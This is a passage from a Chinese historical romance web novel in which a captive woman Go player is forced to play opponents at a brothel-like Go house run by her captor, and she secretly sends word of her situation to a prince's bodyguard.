难道是让她替他下棋?这也不可能,京城比她厉害的围棋师比比皆是,他又何必冒着皇室抓铺名号将自己强行藏起来?
想到这,宋锦瑶猛然抬头,望着陌生的房间,她才后知后觉意识到,自己究竟昏迷多久了,就连之前照顾她的丫鬟,好似一副习惯的姿态。
而且迷迷糊糊中,她听到有人已经去禀报傅渊,这下,她真成笼中鸟。
本想继续思考下一步如何打算,奈何整个大脑混沌不堪,只要沉思片刻就会头痛欲裂,她索性放弃折磨自己。
下手可真重啊,这么就不把她一棒打死呢,都不用受现在的罪。
宋锦瑶忍不住伸手抚摸,没好气地暗暗吐槽道。
翌日清晨,宋锦瑶大老远便听见门外传来阵阵脚步声,本身她就有起床气,被这么一打扰,今日一整个心情也没了。
她刚将被子蒙住脑袋,结果下一秒被人硬生生拉下去,她迷糊中抬眸望了眼对方,看清是咋日那丫鬟,便也没在多说什么,继续睡下去。
“宋小姐!公子得知你身子尚有好转,今日特意前来见你,你快点起来洗漱!”
丫鬟连忙将衣物整好了,又小心翼翼扶起宋锦瑶,随后还要准备好大夫开的药,全程累得气喘吁吁,转头瞧见她还是呼呼大睡,顿时怒中心起。
“小姐!!!”
宋锦瑶不知道傅渊到底在打什么主意,但从丫鬟嘴中得知,傅渊是这家棋阁一大股东,这里的女子每天要做的事情,便是陪在客气身侧娱乐。
只不过碍于她身份比较特殊,不用专门陪客人,而是接受客人们的挑战,若能持续赢得
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一月之久,傅渊就放了她。
可真会像他所说那样,赢得比赛就能回去?宋锦瑶自然不相信。
她望着铜镜中自己一袭红衣模样,还真是第一次穿如此艳丽的衣服,让她格外感到不自在。
“我能再问你一个问题吗?”宋锦瑶抬头看向身侧丫鬟,“我已经昏迷多久了?还有,你们为什么喊我宋韵?”
丫鬟手上簪子一顿,仔细回想道:“宋小姐昏迷算上今日,已经有足月之久。至于名字,是公子告诉我们的,小姐难道不叫这个名字?”
宋锦瑶脸色一沉,并没有回答她的话。
她根本猜不透傅渊到底想利用她干什么,在未见到本人之前,还是莫要打草惊蛇。
待装扮好后,宋锦瑶被人扶进一间华丽的房间等候,意识到这里便是她与傅渊即将见面的地方后,立马警惕起来。
为了自保,宋锦瑶毫不犹豫将柜子上的花瓶打碎,巨大陶瓷碎响在空荡的房间内传来,迅速引来一大批侍卫赶来。
趁侍卫进来之前,她立马将较为锋利的陶瓷片悄无声息藏在袖口,防止必要时刻,同归于尽。
侍卫将碎片处理好后,恶狠狠瞪了她一眼,示意她最好别耍花样,见她听话点头,便也没再多纠缠。
房间内再次恢复寂静,这次她手握利器,心一下子落了下来。
不知过了多久,傅渊连人影都没见着,倒是隔壁房间,男女厮混声音隐隐约约在房间内响起。
这哪里是棋阁?明明打着下棋名义骗男子进来消费的青楼嘛。
宋锦瑶没好气地坐在床榻上发呆,思绪一下子又回到昏迷之前。
话说她都已经失踪这么久了,公主会派人寻她吗?宋锦初会担心她吗?还有……徐颂祁还会在意她的死活吗?
真是有够烦人。
她叹了口气,还是眼下处理好自己的事情吧。
就在她思绪回笼的瞬间,敏锐察觉到门外传来脚步声,意识到是傅渊过来时,她迅速跑到帘子后面躲起来,只要趁着他不注意,将利器威胁他放自己走就行。
她藏在帘子后面,手指握紧利器,目光如炬地盯着缓缓打开的门。
傅渊一进门瞧见屋内没有她的踪迹,并未表露出任何情绪,甚至不紧不慢关上门,随后慢悠悠走到中央,朝空气喊去。
“宋锦瑶,收起你自以为是的小聪明,在我的地盘,没有我的准许,你哪怕杀了我也逃不出去。”
宋锦瑶:“……”
见她依旧不肯出来,傅渊忍不住笑出声,继续说道:“我知道你现在恨透我了,正巧,我也是如此。只不过我与你不同,现在我是这里的王。”
傅渊挑眉不屑道:“放心,你现在可是我的底牌,不到万不得已,我是不会碰你这条命。我劝你还是乖乖出来,不然你这辈子都别想出去,更别想见你的弟弟和阿爹,亦或者……王爷?”
房间依旧一片安静,傅渊也没了性子,朝着空气威胁道:
“你若再不出来,我可就要告诉天下人,你宋锦瑶已经死了,而且死无全尸,如果那样的话,他们可能就彻底放弃寻找你的下落。”
话音刚落,宋锦瑶强忍着杀心从帘子后走出来,她抬头注视着眼前这个恶心的人。
刚想开口询问,不料下一秒,她被傅渊猝不及防快速掐住脖子,随后头部又重重撞在墙上,整个人死死被摁在墙上。
傅渊贪婪地注视着她身上艳红的裙子,手指微微锁紧,使她整个人呼吸不上来。
“真乖呢,宋锦瑶。”傅渊凑近她的耳畔,轻声道,“你就是这样勾引上王爷的?”
24. 024
宋锦瑶狠狠被摁在墙上,丝毫动弹不得。
因为头部伤势还没完全痊愈,加上这突如其来的猛烈撞击,整个人使不上力,只能无力地拍打傅渊的手臂。
见她呼吸不上来,脸色越来越难看,傅渊眼中闪过一丝不忍,终究还是松开掐住她脖子的手。
宋锦瑶大口大口呼吸着空气,双腿一软,身子顺着墙壁缓缓滑落,最后无力地跪坐在地上。
傅渊嫌弃地甩了甩手,轻蔑道:“要不是留着你还有点用处,就凭你,哪能活到今日,真是脏了我的手。”
她没有说话,神色晦暗地瞥了他一眼。
趁着傅渊拿出手帕,慢条斯理地擦拭双手,她心中一横,藏在衣袖中的手悄然握紧暗藏的利器,随后迅速起身,毫不犹豫朝傅渊脖子狠狠划去。
望着近在咫尺的脖颈,她明明差一点就能行刺成功,但还是被傅渊察觉到危险,对方动作快速侧身躲闪。
宋锦瑶用力过猛,直接扑了个空,整个人向前踉跄几步。
傅渊反手将宋锦瑶的利器打翻在地,嗓音压制着怒火吼道:“宋锦瑶,你疯了吗!我说过,即使我死了,你也逃不出去!”
“没人知道你被藏在这里,就连皇室的人也毫无头绪,所以你趁早死了这条逃跑的心,乖乖留在这里替我做事。”傅渊眼神中透着一股狠厉。
宋锦瑶颤颤巍巍站起身,大声怒视道:“傅渊!你才是个疯子,即使你把我藏在这里,皇室的人迟早都会发现!到时候……”
傅渊忍不住轻笑,满是嘲讽打断道:“到时候你早就已经死了,放心,他们永远都不会找到你的。”
宋锦瑶:“……”
傅渊看着眼中满是怒火的宋锦瑶,脸上的笑意愈发明显:“忘了告诉你,这里根本就不在京城,就算他们想找,出了城,也如同大海捞针。”
“宋锦瑶,我确实很喜欢你那张漂亮的脸蛋,只可惜啊,你从来不会露出软弱的样子,永远都是一副自以为是的高傲模样,真是令人作呕。”
“还口口声声扬言要打破棋盘偏见,简直可笑至极。也怪不得那些大官一个个都看上你,还把我骂得狗血淋头。”
宋锦瑶握紧拳头,眼中满是厌恶地打量着他那副嘴脸,冷冷道:
“傅渊,我从来都没想到,你竟然会因为嫉妒,一次次地想要陷害我。说白了,你就是个软弱无能的胆小鬼,你害怕这世道真像我说那样改变,所以你才惶恐不安!”
傅渊嘴角露出扭曲的笑,鄙视道:“是又怎么样,我这是在为大昭的未来着想!而你,只会更改大昭近百年来的规则,你才是那个罪该万死的人!”
随后,他又露出一股险恶的笑容,轻声道:“没关系,宋锦瑶。从现在开始,你就是宋韵,是这家棋阁的头号招牌宋韵。”
傅渊迈着步伐,走到她面前,居高临下地命令道:
“宋韵小姐,你的职责就是与这里的大官们下棋对弈。要是赢了,自然能保你平安无事;要是输了,你的人身安全,我可就没法保障了。”
两人死死互瞪着对方,片刻后,傅渊突然先笑出声来:“只要你能帮我赚到足够的银子,说不定哪天我心情好了,自然会送你离开。”
言毕,傅渊扭头朝门外走去,临走前还不忘回过头,似笑非笑地提了句:“祝你好运。”
直到房间再次恢复安静,安静得能听到自己的心跳声,宋锦瑶依旧僵在原地,只感觉脑袋疼痛异常。
她下意识伸手去触碰后脑勺,指尖触碰到一片温热粘稠,放眼一看,果然满手都是刺目的血迹。
盯着满手血腥,她脸上没有一丝慌张的情绪,反而忍不住轻笑声。
以傅渊那种德行,怎么可能会轻易放她走,肯定会不择手段榨干她身上的全部价值,最后再像丢垃圾一样把她丢到荒山野岭。
可眼下的局势,确实如他所言,除了暂时遵守规则,她似乎别无选择。
从那日之后,宋锦瑶便再也没见过傅渊。
想必为了不引人瞩目,早已经回京城,假装无事发生地生活了吧。
她向来不喜欢与这里的女子交谈,因为这些女子每天谈论的话题,无非就是如何获得男子的芳心,如何从男子的钱包里掏出更多的银子。
大概是因为她不合群,再加上傅渊又格外看重她,很快便引来无数女子嫉妒,全体开始冷落无视宋锦瑶,甚至时不时对她恶语相向。
宋锦瑶自然无所谓,只要她们不主动招惹,她也懒得去理会闲言碎语。
等到伤口完全痊愈后,她便被人安排与各路客人对弈。为了讨好大人物,她甚至每天都被要求穿上艳丽的衣服。
但凡对客人冷漠些,事后还会受到处罚。
所以在这,宋锦瑶基本没怎么好好吃过饭。
日复一日过得飞快,宋锦瑶不经意间注意到,周围原本郁郁葱葱的树叶,不知何时开始渐渐发黄,天气也慢慢变得寒冷起来,秋意愈发浓重。
从她进来起,傅渊的棋阁名声越来越大,每天都有排不完的队,各式各样的人想要见识她的实力,甚至不惜花重金插队。
直到这日,棋阁来了一位不速之客,他站在正厅中央,气势汹汹朝着掌柜大声喧哗,指名道姓要宋锦瑶与他对弈一番。
他这番举动引来无数人好奇的目光,可这位客人却将面容捂得严严实实,只露出一双眼睛。
宋锦瑶早已经见怪不怪,看他态度如此坚定,便也像往常一样,将他当做普通客人对待。
棋室内,原本声势浩荡的蒙面侠,在瞧见宋锦瑶的那一刻,突然变得安静下来。
起初,宋锦瑶并未在意,像往常熟练地将黑白棋子整理出来,摆放在棋盘上。
直到她察觉到对方那异样的目光,她才疑惑地缓缓抬头,看向对面男子。
宋锦瑶好奇问道:“公子可有疑问?”
蒙面侠赶忙摆手摇头,整个人显得惊慌失措:“没,没事。话说你真的是宋韵?”
宋锦瑶手中动作一顿,眉头微蹙,满眼狐疑地打量着面前之人,笑道:“正是小女本人。”
棋盘上,宋锦瑶步步紧逼,丝毫不给对方退让的机会,可每次轮到蒙面侠时,他都会犹豫再三,举棋不定,看起来手法很是生疏,完全不像是个精通棋道之人。
见他不是冲着下棋来,目标却明确指向自己,宋锦瑶不禁手中动作一慢,心中顿时警惕起来。
她连忙将门外的侍卫遣散开后,才重新将目光注视在面前的男子身上。
她将白棋稳稳落在棋盘上,面不改色道:“公子此次过来,恐怕并不是单纯下棋吧?那又为何要花重金与我对弈?放心吧,外面的人已经被我赶走了。”
听闻,蒙面侠果然愣在原地,露在外面的一双眼睛,目不转睛地盯着她看,好似要将她看穿。
见他心有存疑,宋锦瑶便没再继续逼迫,而是继续下着棋盘上的棋子。
“宋小姐。”蒙面侠突然开口说话,“光天化日之下岂能动手打人。”
闻言,宋锦瑶瞬间僵在原地,脑袋一片空白,她猛地抬头看向蒙面侠,眼中闪过不可置信地目光。
她声音颤抖道:“你是……”
蒙面侠将遮挡面部的黑布拿开,一张熟悉的脸庞赫然出现在宋锦瑶眼前。
林肃看到宋锦瑶认出自己,不禁失笑道:“宋小姐,别来无恙。我是王爷的贴身侍卫-林肃,特意前来此地寻找小姐。”
王爷?徐颂祁?他居然还在寻找自己?
见
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她不语,林肃接着说道:“宋小姐自从失踪后,王爷便发动所有人手,将京城翻了个底朝天,只为寻找小姐身影,只可惜并未寻到小姐的一丝线索。”
“不止是王爷,还有公主和御史大人,他们都非常想念小姐,宋小姐不在的这半年里,他们从未停止过寻找。御史大人整天郁郁寡欢,近来身子也不太好,想来是思念小姐太过深切。”
“我们都很希望小姐回去,为何小姐会出现在这里,甚至还用‘宋韵’这个名字?”
面对林肃质疑的目光,宋锦瑶竟回答不上来。
要告诉林肃自己的苦衷吗?如果跟着他走,傅渊会知道吗?到那时,他又真的会放过自己吗?
她不知道,尽管她过去总是赌错,但这一次,她依旧愿意将所有的希望寄托在林肃身上。
宋锦瑶深吸一口气,努力平复内心的波澜,抬眸注视着面前林肃那不知所以的眼神,缓缓开口,将事情的来龙去脉全都告诉林肃。
看着林肃的神色从最初的惊愕逐渐变得凝重起来,直至最后彻底沉默不语时,宋锦瑶才将棋盘上最后一颗黑子吃干抹净,结束这盘特殊的棋局。
林肃眉头紧锁,心思早已不在棋盘上,一脸严肃道:“所以你的意思是,并不打算现在跟我走?”
宋锦瑶摇头道:“假如我现在走了,傅渊随时会做出些出格的事情来,而且过几日他便会回这里,如果没看到我,他便会将全部矛头指向王爷。”
“我不想王爷因为我而受伤,我想让你将我告诉你的一切,原原本本禀报给王爷,让他从源头断了傅渊的念想,等到那时候你们再来接我,也为时不晚。”
与其偷偷将宋锦瑶带走,还不如直接将他擒下,这样被困在这里的人也能重获自由。
而且现在还在傅渊地盘,只怕不仅她出不去,还会白白搭上林肃的性命。
听闻,林肃点头同意:“宋小姐放心,我一定会将小姐的遭遇如实禀告王爷,在此之前,切莫打草惊蛇!”
直到瞧见林肃平安离开的身影,宋锦瑶才深叹了一口气。
深秋傍晚的太阳落得格外快,转眼间,天色便渐渐暗了下来。
因为今日她难得同意客人要求,掌柜自然将她饭备好。等她下楼时,正巧听到有人在讨论着自己。
一人道:“听说了没?今天宋韵又被人特意指定下棋,这种生活可真是好哦,不仅讨傅公子欢喜,就连客人来了也不放过。”
另一人道:“可不是嘛,单靠着她那张脸都能将傅公子拿下,结果她见了傅公子跟敌人似的,真是搞不懂。”
这种话宋锦瑶听得耳朵都要起茧子,她加快脚步走到两人面前,装做无事发生自顾自盛饭。
两人本来就嫉妒她,这下直接走到面前,一下子忍不住脾气,朝宋锦瑶随意轻蔑道:
“哟,这不是宋韵嘛?今下午那个蒙面小哥怎么样?比上次肥猪大官长得要俊吧?”
见宋锦瑶不理她们,另一个人走上前来,满眼鄙视地打量着她,用手指戳了戳她,笑道:“怎么不说话,难道被我们猜中了?一下午都待在房间,真没发生点什么?”
宋锦瑶毫不客气将她乱点的手指打断,横眉冷眼扫了她俩一眼,便打算转身离开这里。
但俩人可不是善茬,见她想走,俩人连忙一前一后堵着她,打心底看不惯这几个月来,宋锦瑶的态度。
堵在后面的人嘲讽道:“宋韵,你以为你很牛吗?也就攀上傅公子才能如此目中无人,等哪天傅公子将你玩腻了,看你怎么办!”
前面的人扫了眼她手上的饭,跟着附和道:“你也配吃饭?宋韵,你不是很能耐吗?这个时候怎么不说话啊?做贼心虚了吧。”
俩人一唱一和,吵得她耳根子疼。
25. 025
宋锦瑶冷冷地瞥了她一眼,轻蔑道:“这福气给你,你要不要?”
闻言,俩位女子瞬间愣在原地。她们一脸鄙夷地盯着宋锦瑶看,嗤笑道:“宋韵,你也就仗着自己会点围棋,不然哪会是我们的对手。”
宋锦瑶毫不客气地回瞪过去,用同样的语气回道:“对啊,我也就会点围棋,不像你们,除了挖空心思讨男人欢心,就只会对同性无端嫉妒!”
这番话,气得她们的脸瞬间涨得通红,眼睛瞪得老大,声音尖锐地斥骂道:“好你个宋韵!这饭你别吃了,看我不把这事告诉傅公子,让你知道欺负辱骂我们的下场!”
说罢,站在面前的女子猛地伸出手,一把将宋锦瑶手中的饭碗狠狠掀翻,米饭溅得到处都是。后面的女子见状,满眼写满震惊。
宋锦瑶静静地站在原地,垂眸看着地上那被白白浪费的米饭,火气也一下上涌上来。
可面前的女子却丝毫不在意,沾沾自喜道:“这就是惹到我的下场,宋韵,以后见到我,请你低下……唔%¥#…”
女子话还没说完,宋锦瑶迅速抓起地上的米饭,毫不犹豫往女子的脸上狠狠扣去。
她全程面无表情,只有声音微微透露出生气。
“是不用再吃了,这么爱说话,干脆替我全吃下去得了!”
女子完全没料到宋锦瑶竟然敢如此胆大,整个人呆愣在原地,当她意识到精致的妆容被大米糊乱时,脸上全是惊恐,被吓得眼泪都止不住流出。
她慌乱地用手去擦拭脸上的污渍,嘴里还不停地叫嚷着:“宋锦瑶!你不要命啊!居然敢用地上的米饭弄脏我脸,我一定让傅公子好好惩罚你!”
另一个女子瞧见这一幕,刚想走上前帮忙,不料正好对上宋锦瑶瘆人的目光,立马被吓得站在原地,一动也不敢动。
宋锦瑶缓缓凑近脸上糊满米粒的女子,微微挑眉,冷笑道:“你这么一说,我好怕哦。你最好在傅渊面前多说点我的坏话,不然我也不会放过你。”
女子对上宋锦瑶那双凶狠的眼睛,整个人被怔得不敢呼吸,后背不禁感到微微发凉,只能哽咽地死死瞪着她。
宋锦瑶伸手,帮她将脸颊上的米粒拿去,可声音却冷让人害怕:“以后别让我再听到你无端造谣我,不然见你一次我糊你一次。”
言毕,她回过身,淡淡地扫了她俩一眼,随意地拍了拍手,转身离去。
自从得知林肃带来这个消息后,宋锦瑶整个人的心早就被他牵着走。每到空闲时刻,她总会不禁想到那日场景。
日子如同被人按下加速键,周围的树叶渐渐染上枯黄,一片一片地凋零,她始终没有等到王爷的相救。
某日,阳光透过窗户的缝隙,洒在屋内的棋盘上。宋锦瑶像往日一般,准备接待客人。
这次与她对弈的,是一位年老的退休官员。这位老者听闻宋锦瑶的名声后,不顾路途遥远,千里迢迢赶来,只为与她一较高下。
老者凝视着棋盘上的风云,不禁感慨道:“宋小姐棋艺了得,可惜只能在我心里排行第二。”
宋锦瑶微微挑眉,顺着他话问道:“先生,此话何讲?”
老者没隐瞒,看着她那凶狠果断的棋风,脸上露出一抹微笑,说道:“老夫曾在半年前瞧见当今王爷下棋,那棋盘上的局势可谓精彩绝伦,无人能敌。”
“可就在刚刚与小姐下棋的过程中,老夫却倍感熟悉。恕我冒犯,宋小姐的棋法为何和王爷惊人地相似,莫不是王爷亲自教导过?”
此话一出,宋锦瑶瞬间愣在原地,她眼中闪过惊愕,还没开口说话,老者便摇了摇头,继续说道:
“宋小姐十分抱歉,听闻受王爷教导过的那位女子,与你并不是同名,况且……”老者语气一顿,脸上浮现出一副天才陨落的惋惜神色,看着棋盘,缓缓道,“她已经死了。”
?
宋锦瑶指尖停在半空中,猛地抬头望向老者,眼底满是不可置信,但依旧强装镇定,回道:“死了?如何死的?先生可从哪里听说过?”
面对她一连串问题,这回轮到老者缓缓抬头,望向她,脸上浮现出惊讶的神情:“宋小姐不知吗?已经是好几个月前的事情了。”
好几个月前?莫不是她被强行困在这里的日子?
可傅渊不是答应过她,只要她留在这里,就不会对外声称自己死亡的消息吗?
为何林肃并未将此事告诉她?为何从那天之后,便毫无动静?就像那日从未发生过一样?
见她不说话,脸色并不好看,老子不禁提醒道:“宋小姐?宋小姐你还在听吗?”
宋锦瑶立马回过神来,连忙调整脸上的表情,失笑道:“抱歉,小女并无恶意,只是从未有人告诉过小女这些事情,略感震惊。”
老者叹了口气,点头表示同意:“是啊,那可是王爷亲自教导过的奇女子啊,听闻是被山匪劫杀,真是一代天才陨落。”
宋锦瑶脸色瞬间一沉,原本握住白子的手,因为用力,指节都微微泛白。
趁着老者一副好说话的模样,宋锦瑶赶忙追问道:“先生可知那位女子死后,王爷有何动静?特别是近来几日?”
闻言,老者果然陷入沉思:“我从京城过来,并未察觉任何不对之处。听闻皇室特别器重她,之前挨家挨户巡查都没发现一丝线索,只不过……”
老者顿了一下,继续说道:“就在半个月前,皇室再也没了动静,大家都猜测王爷是放弃了,毕竟已经传出死讯,还费力寻找,岂不是白白浪费大家的精力吗。”
放弃,寻找。宋锦瑶心里默默重复着这几个字。
还是半个月前,正是林肃回去的时日。
宋锦瑶没有说话,看着棋盘上黑白棋子交汇,她早已没了兴趣。
老者的话就像恶魔低语一般,不断在耳边回响,直至大脑一片空白。
突然,她好像想到什么,满脸激动地朝老者询问道:“先生,那她的弟弟呢?也放弃了吗?”
望着她眼中闪过一丝希望,老者不禁微微皱眉,回道:“宋小姐不是从未听过这件事吗?为何知晓她家有位弟弟?”
宋锦瑶一时语塞,竟然下意识没想到这个问题,只好慌张地解释道:“经先生这么一说,倒也突然想起其他客人曾经提起过。”
好在老者并没怀疑她,只是幽幽地叹了口气。
老者不紧不慢地将黑子落在宋锦瑶的棋腹中,一脸感慨道:“倒也是个可怜孩子,纵使御史府很着急,只要王爷不继续寻找,自然没有身份理由扰民,最后只能认清现实,不了了之。”
宋锦瑶:“……”
见她一脸沉重,手中的白子迟迟不落,老者满眼疑惑地打量着她:“宋小姐,你今日状态很是不对劲,你瞧,若再三心二意下去,可就要崩盘了。”
闻言,她赶忙收回注意力,垂眸看着即将惨败的棋盘,自嘲地哑然失笑道:“多谢先生提醒,小女不会再分心了。”
之后,她强行将这些杂乱的思绪从脑海中驱赶出去,一心一意专注于棋盘。很快,棋盘上的白子逆袭改命,步步为营
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,朝着黑子发起猛烈的攻击,直到最终完胜。
老者被打得心服口服,眼底满是笑意,不停地拍手叫好:“好棋,好棋啊!”
临走前,老者站在门外,回头注视着眼底满是落寞的宋锦瑶,忍不住开口道:“宋小姐棋艺了得,可若只待在这里,真所谓浪费人才。有朝一日,老夫真想在外面,自由自在与宋小姐对弈一番。”
听闻此言,宋锦瑶猛然抬头,望向笑脸盈盈的老者,赶忙起身相送:“多谢先生夸赞。终有一日,我们定会再次见面,等到那时,你一定会看到不一样的我。”
望着老者渐渐远去的背影,她刚想转身朝里屋走去,不料身后立马传来丫鬟急促的声音。
“小姐,今日傅公子突然到访,说是特意为你举办一场宴席,已经在后厅准备好,让你过去。”
事出反常必有妖。
宋锦瑶正愁着找不到傅渊,让他给自己一个说法,没想到对方却特意为她设晚宴。
多半是鸿门宴。
待她赶到后厅时,原本以她为主角的晚宴,竟然已经被傅渊抱着美人吃得差不多了,食物到处散乱在地,现场一片狼藉。
见状,宋锦瑶站在不远处,脸都黑了一个度。
傅渊怀里的美人,正是前段时间被她糊脸的女子。此刻,那女子正依偎在傅渊的怀里,娇滴滴地撒起娇来:
“傅公子一定要为小女报仇,宋韵那女人太不知好歹!居然还敢威胁我!”说着,女子还悄悄在傅渊的脸颊上偷亲一口。
傅渊满脸宠溺,嘴角止不住地上扬:“等她来了,我一定好好骂她,再亲下这边脸蛋。”
宋锦瑶:“……”
原本热闹哄哄的气氛,在傅渊无意中瞥见宋锦瑶的那一刻,仿佛时间都凝固,莫名其妙地安静下来。
他停下手上动作,连忙将怀里的女人一把推开,有些不自在地抬头注视着宋锦瑶,眼神中透露出一丝心虚:“你怎么来了也不吱声,快过来,这可是本公子特意为你举办的晚宴。”
说着,傅渊便想起身朝她走去,却被宋锦瑶及时制止:“别过来,我嫌脏。”
闻言,傅圆笑道:“这哪脏了?是你太干净罢了。”
宋锦瑶冷冷回道:“我说得不是环境。”
见他不说话,宋锦瑶挑了一个距离最远的位置坐下。
傅渊身侧的女人刚想继续贴上来,不料全被他婉拒。
他刚想询问宋锦瑶近来状况,却被她抢先一步开口说话。
宋锦瑶目光死死地盯着他看,几乎是咬牙切齿道:“傅渊,为什么要瞒着我,告诉大家我已经死了?”
此话一出,在场人目光瞬间吸引到她的身上,傅渊见状,连忙将所有人遣散,直到后厅内只剩下他们俩人。
傅渊假装一脸懵逼,答非所问道:“宋韵,你在说什么呢,你不是活得好好的吗?干嘛说自己死了啊,多不吉利。”
“傅渊!别以为这里的人无脑捧你,就认为我也是这种人。回答我,为什么要骗我?”
话音刚落,傅渊脸上的笑容戛然而止,紧接着,眼底涌起深不见底的黑暗。
“我从未说过是用‘宋锦瑶’这个名字活着啊,我已经给你赋予新的名字,新的生命,你应该感谢我才对。”
宋锦瑶破口大骂道:“卑鄙,无耻!”
瞧见她脸上的怒气,傅渊忍不住笑道:“别生气嘛,你知道的,在这个棋阁里,我最欣赏、最偏向的就是你,你可是我的招牌啊。”
“头等招牌。”
26. 026
夜晚的冷风带有阵阵寒意,光秃的枝头上,仅存的最后一片残叶也缓缓落下。
宋锦瑶面含怒气,攥紧拳头压制情绪,道:“傅渊,你就是一个自私又自利的人,迟早会遭报应的!”
傅渊坐在对面,闻言,只是漫不经心地抬了抬眼,脸上满是毫不在意的神色,随意道:“报应?坏人从来不会遭报应,因为他们已经将好人赶尽杀绝,何来报应?”
说罢,他缓缓起身,迈着步子,一步一步朝着宋锦瑶逼近,眼神中满是轻蔑。
“宋韵,知道我今日为何特意为你举办这场晚宴吗?”傅渊走到她身前,居高临下地看着她,“多亏了你,让我的小店名声大噪,好多老板都争着来投资。”
宋锦瑶直视傅渊的眼睛,质问道:“你不是说过,只要我替你赚到足够多的钱,你就会放我走吗?难道这也不是欺骗?”
傅渊挑眉,眼中满是鄙夷:“你可是我的一块宝,我怎么能放走一个赚钱工具走呢?”
两人就这样死死地盯着对方,空气中弥漫着浓烈的火药味,一时间,谁也没再说话。
宋锦瑶看着眼前这张让她无比厌恶的脸,心中的恶心愈发强烈,忍不住轻笑出声,满是嘲讽道:“你利用我扩大名声,就不怕引起朝廷的注意?”
傅渊听了,脸上露出赏识的神色,像是在看一件合心意的物品,点了点头:“该说不说,你想得还挺周全。但我又不是傻子,放心,你背后靠着皇室,难道我就没靠山了?”
见到她脸上闪过一丝惊愕,傅渊的笑容愈发狰狞:“如今大昭局势动荡,人心惶惶,皇室自顾不暇,朝廷腐败不堪。底下的官员们,哪个不是盯着这块肥肉,都想从中分一杯羹。”
“就算那徐颂祁再有本事,只要他还站在皇帝那边,这局他就必输无疑。”
傅渊双手抱胸,一副胜券在握的模样:“如今天下,人人都想造反,要是王爷执意保当今圣上,那就是与天下叛军为敌。”
宋锦瑶心中暗自思忖,他口中的靠山,想来也是皇室之人。
他们的计划,一个是让傅渊绑架她,靠吸食她的价值获取银子和名誉;另一个则是掩盖她存在的价值,好让皇室的人信以为真。
毕竟大昭好不容易出了她这么一位女子围棋师,王爷极为重视,她的存在显然威胁到某些人的地位,他们自然不会坐视不管。
宋锦瑶注视着他沾沾自喜的模样,反驳道:“朝廷就是因为有你们这种自私自利、目光短浅的人,才会如此腐败。”
“你们只在乎自己的利益,全然不顾大昭的未来!像你们这样的人,迟早会有悲惨的下场,最好死无葬身之地!”
“闭嘴!”傅渊额头上青筋暴起,被宋锦瑶的话彻底激怒。
他猛地伸手,抓起桌上的碗,用尽全身力气,狠狠地朝着地面砸去。
顿时间,刺耳的声音在空旷的后院炸开,碎碗的瓷片飞溅四射,零乱地散落一地。
宋锦瑶冷淡地扫视着一切,刚想继续说话刺激他,不料被傅圆猛地抓住手腕,整个人硬生生被他拖拽撞到桌边。
傅渊双眼布满血丝,怒斥道:“宋锦瑶,别给脸不要脸,你以为我不知道你在想什么吗?我告诉你,你在这里所做的每件事我都清清楚楚。”
宋锦瑶没有说话,使劲将他抓住自己的手扯开。
现场一片狼藉,原本桌子上的佳肴也被他扫乱在地。
“前段时间是不是有人找你下棋?你还特意把周围的侍卫支开,你们到底是在下棋,还是在密谋什么?”傅渊不依不饶,继续质问道。
她被掐得有些生疼,不禁皱起眉头,威胁道:“傅渊,你放开我!我再说一遍,放开我!”
可对方像是着了魔似的,自顾自对她怒吼道:“宋锦瑶,那日跟你下棋的客人,是不是朝廷的人!你都跟他说了什么,你为什么没跟他走?”
听闻,宋锦瑶猛地抬头对上傅渊那双温红的眼睛。
趁着傅渊还在疯狂质问,她毫不犹豫伸手,抓起桌子上的盘子,用尽全身力气,恶狠狠地朝着傅渊的脑袋砸去。
“砰——”
一声沉闷的声响,盘子在傅渊头上碎裂开来。碎瓷片夹杂着鲜血飞溅而出,傅渊被这突如其来这一砸,瞬间愣在原地,整个人安静下来。
察觉到他终于放开自己的手,宋锦瑶立马远离这种人,眉头紧皱,生怕他又做出什么出格的事情来。
鲜血顺着傅渊的额头缓缓流下,他惊愕地伸出手,擦拭着脸上的血迹。当看到手上那黏糊糊的红色液体时,他再也忍不住情绪。
傅渊咬牙切齿道:“宋锦瑶!你真是好大的胆子啊,这还是我第一次流血,竟然是被你这种女人砸的!”
“我说了让你放手!是你自己疯了!”
傅渊被她这话给气笑了:“你这个女人,说砸就砸,真是不会一点手下留情,也难怪会在一群女人中格外出众。”
宋锦瑶:“……”
他有病吗?绝对是有个大病。
见傅渊冷笑几声后,又朝她那边走去,吓得宋锦瑶连连后退。
两人一攻一退,围着桌子乱转。走进来的丫鬟瞧见这一幕,不禁愣在原地,一脸懵逼地看着两人。
丫鬟被吓得低着头,不敢去看眼前场景,打断道:“傅公子,今日与宋小姐对弈的客人说,他有东西不小心遗忘在这里了,人已经在外院等候着。”
话音刚落,两人同时停下动作,抬头望向门口的丫鬟。
棋阁外,宋锦瑶不断鞠躬朝老者道歉,而傅渊一脸无所谓站在一旁,用手按住伤口,以减少出血。
宋锦瑶:“真的很抱歉,我们将棋阁全都翻找一遍,也未曾见到过先生所说的礼盒。”
老者叹了口气,语气略有着急回道:“老夫明明记得带过来了啊,难道是记错了?毕竟是公主赐予老夫的礼物,再过几日便是新年,这让老夫如何面对公主啊!”
先下确实对此物并无踪迹,见老夫磨磨蹭蹭不肯罢休,傅圆脸上早没了耐心。
“我说,你是不是老糊涂了?”傅渊不屑说道,“我们都陪你在这等了一个时辰也没找到,你神经兮兮怀疑这,怀疑那,咋就不怀疑自己脑子?”
闻言,老者顿时气得想开口职责他,幸好被宋锦瑶及时拦下,但效果并不明显。
老者伸着手指指向他,质问道:“你谁啊你,知道我是谁吗!臭小子,头上都流血了还要站在里,当门神吗?”
傅渊也不客气,回怼道:“我管你是谁,小爷我姓傅,就你这辈子都高攀不上的傅氏,亦是这家棋阁的最大掌柜!”
听到这个姓氏,老者明显愣了一下,见机,傅渊赶忙补充道:“大半夜你跑到我的地盘怀疑这哪,我还没告你扰民,你倒好,还给我摆上架子?”
老者气得手指都颤颤巍巍,嘴里不断重复着:“你……你这小子!”
宋锦瑶站在一旁,瞧见这一幕甚是感到头疼,见傅渊打死也不走,她只能转头安抚老者的情绪。
她从衣袖口中掏出一张剪纸递给老者,轻笑道:“本楼确实没找到先生所说的礼盒,但这是小女亲自剪的剪纸,如果先生不介意,就当这个送给先生,我想日后公主询问起来,也不会责怪。”
她表面心平气和地将一只蝴蝶剪纸递给老者,实际上注意力全在傅渊身上。生怕他突然哪根筋搭错了,一把将她辛苦密谋传出去的希望给撕碎。
好在这个时机恰好合适,理由提起来也不可疑,俩人都没有察觉到异样。
